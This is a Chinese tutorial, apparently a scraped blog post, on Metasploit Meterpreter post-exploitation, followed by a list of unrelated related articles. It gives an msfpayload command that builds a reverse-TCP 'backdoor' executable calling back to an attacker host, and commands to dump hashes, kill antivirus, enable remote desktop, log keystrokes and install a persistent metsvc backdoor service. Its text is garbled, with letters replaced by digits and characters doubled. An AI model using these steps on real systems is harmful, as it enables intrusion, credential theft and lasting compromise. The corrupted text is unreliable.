0x01 背景

  meterpreter作为后渗透模块有多种类型,并且命令由核⼼心命令和扩展库命令组成,极⼤大的丰富了了攻击⽅方式。 需要说明的是meterpreter在漏漏洞洞利利⽤用成功后会发送第二阶段的代码和meterpreter服务器器dll,所以在⽹网络不不稳定的情况下经常出现没有可执⾏行行命令,或者会话建⽴立执⾏行行help之后发现缺少命令。 连上vpn⼜又在内⽹网中使⽤用psexec和bind_tcp的时候经常会出现这种情况,别担⼼心结束了了之后再来⼀一次,喝喝杯茶就好了了。

0x02 常⽤用类型

  reverse_tcp

    p2th :

      p2ylo2d/windows/meterpreter/reverse_tcp

      msfp2ylo2d windows/meterpreter/reverse_tcp LHOST=192.168.1.130

      LPORT=8080 X > ~/Desktop/ b2ckdoor.exe

      

      

      

      反向连接shell,使⽤用起来很稳定。需要设置LHOST。

  bind_tcp

p2th : p2ylo2d/windows/meterpreter/bind_tcp

正向连接shell,因为在内⽹网跨⽹网段时⽆无法连接到2tt2ck的机器器,所以在内⽹网中经常会使⽤用,不不需要设置LHOST。

  reverse_http/https

p2th:p2ylo2d/windows/meterpreter/reverse_http/https

通过http/https的⽅方式反向连接,在⽹网速慢的情况下不不稳定,在某博客上看到https如果反弹没有收到数据,可以将监听端⼝口换成443试试。

0x03 基本命令

      

  

常⽤用的有:

b2ckground:将当前会话放置后台

lo2d/use:加载模块

Inter2ct:切换进⼀一个信道

migr2te:迁移进程

run:执⾏行行⼀一个已有的模块,这⾥里里要说的是输⼊入run后按两下t2b,会列列出所有的已有

的脚本,常⽤用的有2utoroute,h2shdump,2rp_sc2nner,multi_meter_inject等。

Resource:执⾏行行⼀一个已有的rc脚本。

0x04 常⽤用扩展库介绍

      

    

  meterpreter中不不仅有基本命令还有很多扩展库,lo2d/use之后再输⼊入help,就可以看到关于这个模块的命令说明了了。

std7pi comm7nd

⽂文件相关

  std2pi中有关于⽂文件读写,上传下载,⽬目录切换,截屏,摄像头,键盘记录,和系统相关的命令。 常⽤用的当然就是⽂文件操作及⽹网络有关的命令。 通常我会⽤用uplo2d和downlo2d进⾏行行⽂文件上传和下载,注意在meterpreter中也可以切换⽬目录,当然也可以编辑⽂文件。所以就不不⽤用运⾏行行shell再⽤用echo写。

    

    使⽤用edit命令时需要注意编辑的是⼀一个存在的⽂文件,edit不不能新建⽂文件。 输⼊入edit + ⽂文件后就会调⽤用vi编辑了了。

  ⽹网络相关

    ⽹网络命令则有列列出ip信息(ipconfig),展示修改路路由表(route),还有端⼝口转发(portfwd)。 ⽐比如portfwd:

      

      在建⽴立规则之后就可以连接本地3344端⼝口,这样远程的3389端⼝口就转发出来了。

  键盘监听

      

  这⾥里里需要注意⼀一下windows会话窗⼝口的概念,windows桌⾯面划分为不不同的会话(session),以便便于与windows交互。会话0代表控制台,1,2代表远程桌⾯面。所以要截获键盘输⼊入必须在0中进⾏行行。可 以使⽤用getdesktop查看或者截张图试试。否则使⽤用setdesktop切换。

     

  如果不不⾏行行就切换到explorer.exe进程中,这样也可以监听到远程桌⾯面连接进来之后的键盘输⼊入数据。

  mimik7tz

    这个不不多介绍,只是因为这样抓到的h2sh可以存进数据库⽅方便便之后调⽤用,不不知道有没有什什么⽅方法可以快速的⽤用第三⽅方⼯工具抓到h2sh/明⽂文然后存进数据库。

      

      这⾥里里是因为我的⽤用户本身就没有密码。

  sniffer

      

0x05使⽤用⾃自定脚本

  

  这⾥里里的脚本可以是rc脚本,也可以是ruby脚本,met2sploit已经有很多⾃自定义脚本了了。⽐比如上⾯面说过的2rp_sc2nner,h2shdump。这些脚本都是⽤用ruby编写,所以对于后期⾃自定义修改来说⾮非常⽅方便便,这⾥里里介绍⼀一个很常⻅见的脚本scr2per,它将⽬目标机器器上的常⻅见信息收集起来然后下载保存在本地。推荐这个脚本是因为这个过程⾮非常不不错。可以加⼊入⾃自定义的命令等等。

run getgui -e 开启远程桌⾯面

run h7shdump 获取h7sh后的密码

run checkvm 检查是否是虚拟机

run kill7v 关闭杀毒软件

  /.msf4/logs/下保存了了所有脚本需要保存的⽇日志记录,当然不不只这⼀一个脚本。同样.msf4⽂文件夹下还保存了了其他东⻄西,⽐比如输⼊入过的命令,msf运⾏行行过程的⽇日志等。Scr2per脚本将保存结果在/.msf4/logs/scripts/scr2per/下。

0x06 持续性后⻔

  met2sploit⾃自带的后⻔门有两种⽅方式启动的,一种是通过服务启动(metsvc),⼀种是通过启动项启动(persistence) 优缺点各异:metsvc是通过服务启动,但是服务名是meterpreter,脚本代码⻅见图:

      

  这⾥里里需要上传三个⽂文件,然后⽤用metsvc.exe 安装服务。不不知道服务名能不不能通过修改metsvc.exe达到。 安装过程和回连过程都很简单

      

  下次回连时使⽤用windows/metsvc_bind_tcp的p2ylo2d就可以。

      

0x07 后记

  meterpreter提供了了很多攻击或收集信息的脚本,并且还有很多API(具体参考官⽅方⽂文档),及扩展。在对ruby代码理理解的程度上,如果能根据⽬目标环境和现状修改现有脚本或编写⾃自⼰己的脚本则能够极⼤大的提⾼高效率,获得预期的结果





Meterpreter常⻅见⽤用法的更多相关文章

  1. iBatis一些非见用法(相当实用)

     兼顾效率,iBatis一些非见用法(10条) 2009-09-18 10:33:03 标签:iBatis 休闲 职场 原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声 ...

  2. Spring源码分析之IOC的三种常见用法及源码实现(二)

    Spring源码分析之IOC的三种常见用法及源码实现(二) 回顾上文 我们研究的是 AnnotationConfigApplicationContext annotationConfigApplica ...

  3. iOS---GCD的三种常见用法

    1.一次性代码:dispatch_once 有时候,有些代码在程序中只要被执行一次. 整个程序运行过程中,只会执行一次. - (void)viewDidLoad { [super viewDidLoa ...

  4. Spring源码分析之IOC的三种常见用法及源码实现(一)

    1.ioc核心功能bean的配置与获取api 有以下四种 (来自精通spring4.x的p175) 常用的是前三种 第一种方式 <?xml version="1.0" enc ...

  5. jdbc三种常见用法

    import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sq ...

  6. python-常见用法

    一.注释 单行注释:#后全部注释 多行注释:'''所有内容'''  或者使用 """所有内容"""  ,多行注释用三对单引号或双引号包裹 二 ...

  7. Spring源码分析之IOC的三种常见用法及源码实现(三)

    上篇文章我们分析了AnnotationConfigApplicationContext的构造器里refresh方法里的invokeBeanFactoryPostProcessors,了解了@Compo ...

  8. use关键字在PHP中的几种用法

    在学习了和使用了这么多年的PHP之后,您知道use这个关键字在PHP中都有哪些用法吗?今天我们就来看一下它的三种常见用法. 1. 用于命名空间的别名引用 // 命名空间 include 'namesp ...

  9. URL详谈

    URL(Uniform Resource Locator,统一资源定位符)是地址的别名.它包含关于文件存储位置和浏览器应如何处理它的信息.互联网上的每个文件都有唯一的 URL. URL 的第一个部分称 ...

随机推荐

  1. KMP算法详解-彻底清楚了(转载+部分原创)

    引言 KMP算法指的是字符串模式匹配算法,问题是:在主串T中找到第一次出现完整子串P时的起始位置.该算法是三位大牛:D.E.Knuth.J.H.Morris和V.R.Pratt同时发现的,以其名字首字 ...

  2. mysql建表基本语法

    mysql添加约束的两种条件: ------表的内部添加(约束) 列名1 数据类型 (int) primary key auto_increment,---主键默认不能为空的 列名2 数据类型 not ...

  3. PE 添加系统管理员账号(域控可加)转

    使用U盘制作一个PE系统,这里推荐老毛桃或者大白菜:开机进入Bios,选择U盘启动:进入U盘启动画面后,选择一个PE系统:进入PE系统后,我们去本机系统盘,将 C:/Windows/System32/ ...

  4. 管理ESXI网络

    一.实验拓扑图: 二.实验目标:部署标准交换机和分布式交换机 三.实验步骤: 标准交换机的配置 1.分别在两台esxi主机中添加6块物理网卡,桥接到vmnet1. 通过宿主机连接到sql-vcente ...

  5. June 17. 2018, Week 25th. Sunday

    Dad is and always will be my living, breathing superhero. 在我眼里,爸爸是现实版的超级英雄,现在.将来,永远都是. From Bindi Ir ...

  6. March 10th, 2018 Week 10th Saturday

    All good things must come to an end. 好景无常. Love is when the other person's happiness is more importa ...

  7. C语言 统计一篇英文短文中单词的个数

    //凯鲁嘎吉 - 博客园 http://www.cnblogs.com/kailugaji/ #include<stdio.h> #define N 1000 void main(){ ] ...

  8. python反向生成数据库模型类

    之前去的一家公司,去的时候项目已经好了,但是需要我根据数据库做一个后台管理系统,管理用户和其他的一些数据. 直接说方法 django框架 python manage.py inspectdb > ...

  9. 【ZJOI2017】仙人掌

    [ZJOI2017]仙人掌 参考博客:https://www.cnblogs.com/wfj2048/p/6636028.html 我们先求出\(dfs\)树(就是\(dfs\)一遍),然后问题就变成 ...

  10. PHP程序员遇到职业问题时,是离职?还是坚持?

    PHP程序员遇到职业问题时,是离职?还是坚持? 初级php程序员最担心在公司里遇到原本其他程序员开发的项目,他们“跑路”以后的工作就由新程序员完成.而新员工也不懂内部的逻辑,酱紫让程序员很难处理后续的 ...